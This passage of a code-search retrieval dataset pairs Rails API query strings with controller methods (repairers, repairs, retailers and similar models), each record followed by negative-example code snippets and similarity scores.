"def show\n render json: Agent.find(params[:id]).buyers\n end",
"def index\n respond_to do |format|\n format.html { @chefs = Chef.all }\n format.json { @chefs = Chef.order(:name) }\n end\n end",
"def index\n @frais_repas = FraisRepa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_repas }\n end\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def index\n @railscareers = Railscareer.all\n end",
"def index\n @cartridges = Cartridge.all\n\n respond_to do |format|\n format.html\n format.json { render json: @cartridges }\n end\n end",
"def index\n @submitters = Submitter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submitters }\n end\n end",
"def show\n unless current_user.has_perm?(\"repairs_repairs_can_show\")\n permission_deny\n else\n @repair = Repair.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @repair }\n end\n end\n end",
"def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"def show\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end",
"def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end",
"def index\n @reprogramaciones = Reprogramacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reprogramaciones }\n end\n end",
"def index\n @testers = Tester.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testers }\n end\n end",
"def index\n @retailers = Retailer.all\n end",
"def create\n # @repair = Repair.new(repair_params) this change to current_user jkm\n # this will let us know the user who created the repair\n \n #added jkm\n @serviceproviders = Serviceprovider.all\n \n \n @repair = current_user.repairs.new(repair_params)\n\n respond_to do |format|\n if @repair.save\n format.html { redirect_to @repair, notice: 'Repair was successfully created.' }\n format.json { render :show, status: :created, location: @repair }\n else\n format.html { render :new }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @pessoa_receber = PessoaReceber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @pessoa_receber }\n end\n end",
"def index\n @remixers = Remixer.all\n end",
"def index\n @rentals = Rental.get_all\n end",
"def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end",
"def index\n @supplier_produces = SupplierProduce.all\n # byebug\n render json: @supplier_produces\n # { supplier: @supplier_produces.suppliers, produce: @supplier_produces.produces, season: @supplier_produces.season }\n end",
"def nearby_truckers\n id = nearby_truckers_params[:id].to_i\n begin\n city = Shipment.find(id).origin_city\n truckers = Trucker.where(last_location_city: city)\n json = { truckers: truckers.map do |t|\n { id: t[:id],\n name: t[:name],\n phone: t[:phone],\n vehicle: { type: t[:vehicle_type],\n body_type: t[:vehicle_body_type] } }\n end }\n render json: json,\n status: :ok\n rescue\n render json: { error: 'Can\\'t find id: #{id}' },\n status: :unprocessable_entity\n end\n end",
"def show\n @rater = Rater.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rater }\n end\n end"
] | [
"0.7319652",
"0.6572383",
"0.6225905",
"0.5943592",
"0.58656496",
"0.57837665",
"0.5779982",
"0.5772063",
"0.5755199",
"0.57401574",
"0.573082",
"0.5728073",
"0.5686378",
"0.5635922",
"0.5623866",
"0.5610411",
"0.56062615",
"0.5606111",
"0.5606085",
"0.56052285",
"0.55842966",
"0.55842966",
"0.55767536",
"0.5562571",
"0.55571413",
"0.5520525",
"0.5519021",
"0.55130446",
"0.5499319",
"0.54847896",
"0.5463394",
"0.5461676",
"0.5456298",
"0.54475194",
"0.5443518",
"0.5433395",
"0.54172224",
"0.54142755",
"0.5399051",
"0.5399051",
"0.5399051",
"0.53988004",
"0.53981376",
"0.53977424",
"0.53918093",
"0.53900915",
"0.53884846",
"0.5381517",
"0.5381517",
"0.5377797",
"0.53682214",
"0.53570503",
"0.53570503",
"0.5356793",
"0.535263",
"0.535249",
"0.53502923",
"0.53496057",
"0.53451204",
"0.5340835",
"0.53353983",
"0.5327709",
"0.53199977",
"0.53190356",
"0.53115076",
"0.5308943",
"0.5299642",
"0.52955705",
"0.52881175",
"0.5285349",
"0.5285349",
"0.5281989",
"0.52732354",
"0.52690655",
"0.5268884",
"0.5265434",
"0.52643365",
"0.52598196",
"0.52594167",
"0.52454585",
"0.5237392",
"0.52354264",
"0.5231192",
"0.52306247",
"0.52304566",
"0.52254754",
"0.52254754",
"0.52236885",
"0.52227175",
"0.52138376",
"0.52108157",
"0.52028763",
"0.51957595",
"0.5186195",
"0.518476",
"0.51794034",
"0.5175453",
"0.5174945",
"0.5174133",
"0.517261"
] | 0.57490194 | 9 |
GET /repairers/1 GET /repairers/1.json | def show
@repairer = Repairer.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repairer }\n end\n end",
"def destroy\n @repairer = Repairer.find(params[:id])\n @repairer.destroy\n\n respond_to do |format|\n format.html { redirect_to repairers_url }\n format.json { head :no_content }\n end\n end",
"def show\n @repair_record = RepairRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repair_record }\n end\n end",
"def create\n @repairer = Repairer.new(params[:repairer])\n\n respond_to do |format|\n if @repairer.save\n format.html { redirect_to @repairer, notice: 'Repairer was successfully created.' }\n format.json { render json: @repairer, status: :created, location: @repairer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @repairer = Repairer.new\n \n 3.times do\n @repairer.contact_repairers.build\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repairer }\n end\n end",
"def show\n @warrior = Warrior.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @warrior }\n end\n end",
"def show\n @warrior = Warrior.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @warrior }\n end\n end",
"def create\n @repairer = Repairer.new(repairer_params)\n @repairer.user = current_user\n\n respond_to do |format|\n if @repairer.save\n format.html { redirect_to @repairer, notice: 'Repairer was successfully created.' }\n format.json { render :show, status: :created, location: @repairer }\n else\n format.html { render :new }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @prayers = Prayer.all\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end",
"def destroy\n @repairer.destroy\n respond_to do |format|\n format.html { redirect_to repairers_url, notice: 'Repairer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n if @repairer.update_attributes(params[:repairer])\n format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @renter = Renter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @renter }\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url }\n format.json { head :no_content }\n end\n end",
"def index\n @preservatives = Preservative.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @preservatives }\n end\n end",
"def index\n @prayers = Prayer.where(\"user_id = ?\", getUser())\n\n @prayer_requests = PrayerRequest.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prayers }\n end\n end",
"def update\n respond_to do |format|\n if @repairer.update(repairer_params)\n format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }\n format.json { render :show, status: :ok, location: @repairer }\n else\n format.html { render :edit }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @pessoa_receber = PessoaReceber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @pessoa_receber }\n end\n end",
"def index\n @retailers = Retailer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def show\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end",
"def show\n @caterer = Caterer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caterer }\n end\n end",
"def show\n @rater = Rater.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rater }\n end\n end",
"def index\n @prayers = Prayer.all\n render json: @prayers, status: 200 # you've got a serializer. Maybe you should use it.\n end",
"def show\n @primer = Primer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @primer }\n end\n end",
"def index\n @minerals = Mineral.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @minerals }\n end\n end",
"def index\n @prayers = Prayer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prayers }\n end\n end",
"def index\n @realtors = Realtor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @realtors }\n end\n end",
"def index\n @repairers = Repairer.all\n\n @electronics_repairers = Repairer.where(category: 'Electronics')\n @carpentry_repairers = Repairer.where(category: 'Carpentry')\n @jewellery_repairers = Repairer.where(category: 'Jewellery')\n @whitegoods_repairers = Repairer.where(category: 'Whitegoods')\n @clothing_repairers = Repairer.where(category: 'Clothing')\n @upholstery_repairers = Repairer.where(category: 'Upholstery')\n @ceramics_repairers = Repairer.where(category: 'Ceramics')\n end",
"def show\n @remainder = Remainder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remainder }\n end\n end",
"def show\n @repair_type = RepairType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @repair_type }\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url, notice: 'Repair was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @scratcher = Scratcher.find(params[:id])\n\n render json: @scratcher\n end",
"def show\n unless current_user.has_perm?(\"repairs_repairs_can_show\")\n permission_deny\n else\n @repair = Repair.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @repair }\n end\n end\n end",
"def index\n @recruiters = Recruiter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recruiters }\n end\n end",
"def show\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apprentice }\n end\n end",
"def index\n @volunteers = Volunteer.order(:name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @name }\n end\n end",
"def index\n @foodhampers = Foodhamper.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foodhampers }\n end\n end",
"def index\n render json: reservations\n end",
"def index\n @realtors = Realtor.all\n end",
"def index\n @realtors = Realtor.all\n end",
"def show\n #insert now\n @repair = Repair.find(params[:id])\n end",
"def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"def get_carriers\n @transporter = Transporter.find(params[:id])\n\n render json: @transporter.carriers\n end",
"def show\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @vehicle_repair = @vehicle.vehicle_repairs.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vehicle_repair }\n end\n end",
"def index\n @restorations = Restoration.all\n end",
"def index\n @repairqs = Repairq.all\n end",
"def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end",
"def repair_orders_index\n @repair_orders_index = RepairOrder.all\n render json: { repair_orders: @repair_orders_index.as_json },\n status: :ok\n end",
"def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end",
"def index\n @resourcers = Resourcer.all\n end",
"def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end",
"def index\n @restaurants = Restaurant.all\n # @restaurants = current_owner.restaurants\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restaurants }\n end\n end",
"def index\n @rents = Rent.all\n @client = Client.new\n end",
"def show\n @preservative = Preservative.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preservative }\n end\n end",
"def show\n @mineral = Mineral.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mineral }\n end\n end",
"def show\n @prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer_request }\n end\n end",
"def show\n render json: Agent.find(params[:id]).buyers\n end",
"def show\n @fundraiser = Fundraiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundraiser }\n end\n end",
"def show\n @fundraiser = Fundraiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundraiser }\n end\n end",
"def show\n @retro = Retro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retro }\n end\n end",
"def show\n @transporter = Transporter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transporter }\n end\n end",
"def show\n @soldier = Soldier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @soldier }\n end\n end",
"def show\n @soldier = Soldier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @soldier }\n end\n end",
"def set_repairer\n \n @repairer = Repairer.find_by(user: current_user)\n \n end",
"def show\n @derpu = Derpu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @derpu }\n end\n end",
"def show\n @borrower = Borrower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @borrower }\n end\n end",
"def index\n @type_repairs = TypeRepair.all\n end",
"def index\n json_response(Restaurant.all)\n end",
"def index\n respond_with(@collection) do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"def show\n @parlamentarian = Parlamentarian.find_by_id(params[:rdf_uri])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @parlamentarian }\n end\n end",
"def show\n @rider = Rider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rider }\n end\n end",
"def show\n @rider = Rider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rider }\n end\n end",
"def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end",
"def buyers\n result = get_buyers(params, false)\n render json: result, status: 200\n end",
"def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"def show\n @porter = Porter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @porter }\n end\n end",
"def index\n @waiters = @course.waiters.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @waiters }\n end\n end",
"def show\n \n @erp = Erp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=> @erp }\n end\n end",
"def show\n @referee = Referee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @referee }\n end\n end",
"def index\n @cartridges = Cartridge.all\n\n respond_to do |format|\n format.html\n format.json { render json: @cartridges }\n end\n end",
"def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end",
"def index\n\t #@racers = Racer.all\n\t if !request.accept || request.accept == \"*/*\"\n\t\t\trender plain: \"/api/racers/#{params[:racer_id]}/entries\"\n\t\telse\n\t\t\t#real implementation ...\n\t\tend\n\t end",
"def show\n @consultant = Consultant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consultant }\n end\n end",
"def index\n @restaurants = Restaurant.all\n # render json: @restaurants\n end",
"def show\n @reprogramacion = Reprogramacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reprogramacion }\n end\n end",
"def index\n @resverations = Resveration.all\n end",
"def show\n @creator = Creator.find_by_id(params[:id])\n if @creator.present?\n respond_with @creator, status: :ok, location: creators_path(@creator)\n else\n render json: {error: 'Could not find the resource. Check if you are using the right creator_id.'}, status: :not_found\n end\n end",
"def index\n @careers = Career.all\n json_response(@careers)\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def show\n @recruiter = Recruiter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recruiter }\n end\n end",
"def index\n @spoofers = Spoofer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spoofers }\n end\n end",
"def index\n @riders = Rider.all\n end",
"def show\n @submitter = Submitter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitter }\n end\n end",
"def index \n restaurant = Restaurant.all\n render json: restaurant\n end",
"def index\n @githubers = Githuber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @githubers }\n end\n end"
] | [
"0.7719747",
"0.64903283",
"0.62678933",
"0.6182999",
"0.60170454",
"0.5933978",
"0.5933978",
"0.5881573",
"0.5881408",
"0.58739775",
"0.5826876",
"0.582346",
"0.5793623",
"0.5766361",
"0.57561123",
"0.57372874",
"0.5734435",
"0.57023185",
"0.5693971",
"0.5693971",
"0.56795865",
"0.56795865",
"0.56795865",
"0.5677273",
"0.56623185",
"0.5657981",
"0.5628804",
"0.5625907",
"0.5613917",
"0.5593952",
"0.55907995",
"0.5583959",
"0.55815226",
"0.5573494",
"0.55607194",
"0.5558191",
"0.5556544",
"0.55558157",
"0.55511564",
"0.55478644",
"0.55454046",
"0.554288",
"0.5536262",
"0.5536262",
"0.5532347",
"0.55322176",
"0.5527176",
"0.55264527",
"0.5521946",
"0.5521141",
"0.55179787",
"0.5517049",
"0.5511454",
"0.55090904",
"0.54988396",
"0.54954326",
"0.5494741",
"0.5493919",
"0.5489064",
"0.548532",
"0.5482804",
"0.5479808",
"0.5479808",
"0.5472909",
"0.5470991",
"0.546903",
"0.546903",
"0.5462172",
"0.54483265",
"0.54462457",
"0.5442899",
"0.543797",
"0.5429086",
"0.5425299",
"0.5406122",
"0.5406122",
"0.54050165",
"0.54025257",
"0.5399931",
"0.5399032",
"0.53969777",
"0.5388141",
"0.5387444",
"0.5386294",
"0.53861505",
"0.53858966",
"0.53792316",
"0.5370707",
"0.536997",
"0.536358",
"0.5361407",
"0.5358296",
"0.53571093",
"0.53571093",
"0.53570116",
"0.53541464",
"0.5353203",
"0.5352229",
"0.53508776",
"0.5344881"
] | 0.7080497 | 1 |
POST /repairers POST /repairers.json | def create
@repairer = Repairer.new(repairer_params)
@repairer.user = current_user
respond_to do |format|
if @repairer.save
format.html { redirect_to @repairer, notice: 'Repairer was successfully created.' }
format.json { render :show, status: :created, location: @repairer }
else
format.html { render :new }
format.json { render json: @repairer.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @repairer = Repairer.new(params[:repairer])\n\n respond_to do |format|\n if @repairer.save\n format.html { redirect_to @repairer, notice: 'Repairer was successfully created.' }\n format.json { render json: @repairer, status: :created, location: @repairer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @repairer = Repairer.new\n \n 3.times do\n @repairer.contact_repairers.build\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repairer }\n end\n end",
"def create\n unless current_user.has_perm?(\"request_repairs_request_repairs_can_repair\")\n permission_deny\n else\n @repair = Repair.new(params[:repair])\n\n respond_to do |format|\n if @repair.save\n flash[:notice] = 'Repair was successfully created.'\n\n @repair.request_repair.set_repair @repair.id\n\n format.html { redirect_to([:admin, @repair]) }\n format.xml { render :xml => @repair, :status => :created, :location => @repair }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repair.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def create\n # @repair = Repair.new(repair_params) this change to current_user jkm\n # this will let us know the user who created the repair\n \n #added jkm\n @serviceproviders = Serviceprovider.all\n \n \n @repair = current_user.repairs.new(repair_params)\n\n respond_to do |format|\n if @repair.save\n format.html { redirect_to @repair, notice: 'Repair was successfully created.' }\n format.json { render :show, status: :created, location: @repair }\n else\n format.html { render :new }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @repairer = Repairer.find(params[:id])\n @repairer.destroy\n\n respond_to do |format|\n format.html { redirect_to repairers_url }\n format.json { head :no_content }\n end\n end",
"def create\n @type_repair = TypeRepair.new(type_repair_params)\n\n respond_to do |format|\n if @type_repair.save\n format.html { redirect_to @type_repair, notice: 'Type repair was successfully created.' }\n format.json { render :show, status: :created, location: @type_repair }\n else\n format.html { render :new }\n format.json { render json: @type_repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # パラメータにエンジンIDがある場合、まずエンジンに、作業中の整備オブジェクトの取得を試みる\n engine = Engine.find(params[:repair][:engine_id])\n @reapir = engine.current_repair\n\n # 作業中の整備オブジェクトが存在しない場合、整備オブジェクトを作って、当該のエンジンに紐づける\n if @reapir.nil?\n @repair = Repair.new(repair_params) \n @repair.issue_no = Repair.createIssueNo\n @repair.issue_date = Date.today\n @repair.engine = engine\n end\n\n # エンジンのステータスをセットする。\n setEngineStatus\n @repair.engine.save\n \n respond_to do |format|\n if @repair.save\n format.html { redirect_to @repair, notice: t(\"controller_msg.repair_created\") }\n format.json { render action: 'show', status: :created, location: @repair }\n else\n format.html { render action: 'new' }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def repair_params\n params.require(:repair).permit(:job_number, :fault, :descrition, :repair_type, :booking_date, :location, :repairer, :serviceprovider_id)\n \n end",
"def create\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @vehicle_repair = @vehicle.vehicle_repairs.new(params[:vehicle_repair])\n\n respond_to do |format|\n if @vehicle_repair.save\n format.html { redirect_to(fleet_vehicle_vehicle_repairs_path(@fleet, @vehicle), :notice => 'Vehicle repair was successfully created.') }\n format.xml { render :xml => @vehicle_repair, :status => :created, :location => @vehicle_repair }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vehicle_repair.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @repairer.destroy\n respond_to do |format|\n format.html { redirect_to repairers_url, notice: 'Repairer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @repairq = Repairq.new(repairq_params)\n\n respond_to do |format|\n if @repairq.save\n format.html { redirect_to @repairq, notice: 'Repairq was successfully created.' }\n format.json { render :show, status: :created, location: @repairq }\n else\n format.html { render :new }\n format.json { render json: @repairq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def repairer_params\n params.require(:repairer).permit(:first_name, :last_name, :bio, :phone, :address, :city, :mail, :cellphone)\n end",
"def create\n @repair_order = RepairOrder.new(repair_order_params)\n\n respond_to do |format|\n if @repair_order.save\n format.html { redirect_to @repair_order, notice: 'Repair order was successfully created.' }\n format.json { render :show, status: :created, location: @repair_order }\n else\n format.html { render :new }\n format.json { render json: @repair_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @realtor = Realtor.new(realtor_params)\n\n respond_to do |format|\n if @realtor.save\n format.html { redirect_to @realtor, notice: 'Realtor was successfully created.' }\n format.json { render :show, status: :created, location: @realtor }\n else\n format.html { render :new }\n format.json { render json: @realtor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @repairer.update(repairer_params)\n format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }\n format.json { render :show, status: :ok, location: @repairer }\n else\n format.html { render :edit }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repair = Repair.new(repair_params)\n\n respond_to do |format|\n if @repair.save\n format.html { redirect_to @repair, notice: 'Repair was successfully created.' }\n format.json { render :show, status: :created, location: @repair }\n\n @bus= Bus.find(@repair.bus_id)\n @repair.update(odometer: @bus.odometer, datestarted: Time.zone.now)\n #buses status updates to to be repaired \n bus_update(@bus)\n\n update_parts(@repair)\n \n else\n format.html { render :new }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n @renter = Renter.new(params[:renter])\n @locals = User.where(:city => @buyer.city)\n @users = @locals.random(5)\n respond_to do |format|\n if @renter.save\n @users.each do |user|\n RenterMailer.registration_welcome(@renter, user).deliver\n Renter.increment_counter(\"times_forwarded\", @renter.id)\n end\n format.html { redirect_to :submitted_page, :notice => 'Seller was successfully created.' }\n format.json { render :json => @renter, :status => :created, :location => @renter }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @renter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def repair_order_create\n\n @business_id = current_business_user.id\n @client_id = current_client.id\n @repair_order = current_vehicle.repair_orders.new(\n repair_order_number: params[:repair_order_number],\n client_id: @client_id,\n business_user_id: @business_id)\n if @repair_order.save\n render json: { repair_order: @repair_order.as_json(include: :client),\n vehicle: @repair_order.as_json(include: :vehicle) },\n status: :created\n else\n render json: { errors: @repair_order.errors.full_messages },\n status: :unprocessable_entity\n end\n end",
"def create\n @repair_record = RepairRecord.new(params[:repair_record])\n\n respond_to do |format|\n if @repair_record.save\n format.html { redirect_to @repair_record, notice: 'Repair record was successfully created.' }\n format.json { render json: @repair_record, status: :created, location: @repair_record }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repair_record.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repairer }\n end\n end",
"def update\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n if @repairer.update_attributes(params[:repairer])\n format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @adopter = Adopter.new(adopter_params)\n\n if @adopter.save\n render json: @adopter, status: :created, location: @adopter\n else\n render json: @adopter.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url, notice: 'Repair was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def send_request_to_patron_creator_service\n # Sierra supporting pin as password\n query = {\n 'names' => [\"#{last_name.upcase}, #{first_name.upcase}\"],\n 'emails' => [email],\n 'pin' => password,\n 'patronType' => patron_type,\n 'patronCodes' => {\n 'pcode1' => '-',\n 'pcode2' => '-',\n 'pcode3' => pcode3,\n 'pcode4' => pcode4\n },\n 'barcodes' => [self.barcode.present? ? self.barcode : self.assign_barcode.to_s],\n addresses: [\n {\n lines: [\n \"#{school.address_line_1}\",\n \"#{school.address_line_2}\"\n ],\n type: 'a'\n }\n ],\n phones: [{\n number: school.phone_number,\n type: \"t\"\n }],\n varFields: [{\n fieldTag: \"o\",\n content: school.name\n }]\n }\n response = HTTParty.post(\n ENV.fetch('PATRON_MICROSERVICE_URL_V02', nil),\n body: query.to_json,\n headers:\n { 'Authorization' => \"Bearer #{Oauth.get_oauth_token}\",\n 'Content-Type' => 'application/json' },\n timeout: 10\n )\n case response.code\n when 201\n LogWrapper.log('DEBUG', {\n 'message' => \"The account with e-mail #{email} was\n successfully created from the micro-service!\",\n 'status' => response.code\n })\n when 400\n LogWrapper.log('ERROR', {\n 'message' => \"An error has occured when sending a request to the patron creator service\",\n 'status' => response.code,\n 'responseData' => response.body\n })\n raise Exceptions::InvalidResponse, response[\"message\"][\"description\"]\n else\n LogWrapper.log('ERROR', {\n 'message' => \"An error has occured when sending a request to the patron creator service\",\n 'status' => response.code,\n 'responseData' => response.body\n })\n raise Exceptions::InvalidResponse, \"Invalid status code of: #{response.code}\"\n end\n end",
"def create\n @resourcer = Resourcer.new(resourcer_params)\n\n respond_to do |format|\n if @resourcer.save\n format.html { redirect_to @resourcer, notice: 'Resourcer was successfully created.' }\n format.json { render :show, status: :created, location: @resourcer }\n else\n format.html { render :new }\n format.json { render json: @resourcer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_repairer\n \n @repairer = Repairer.find_by(user: current_user)\n \n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
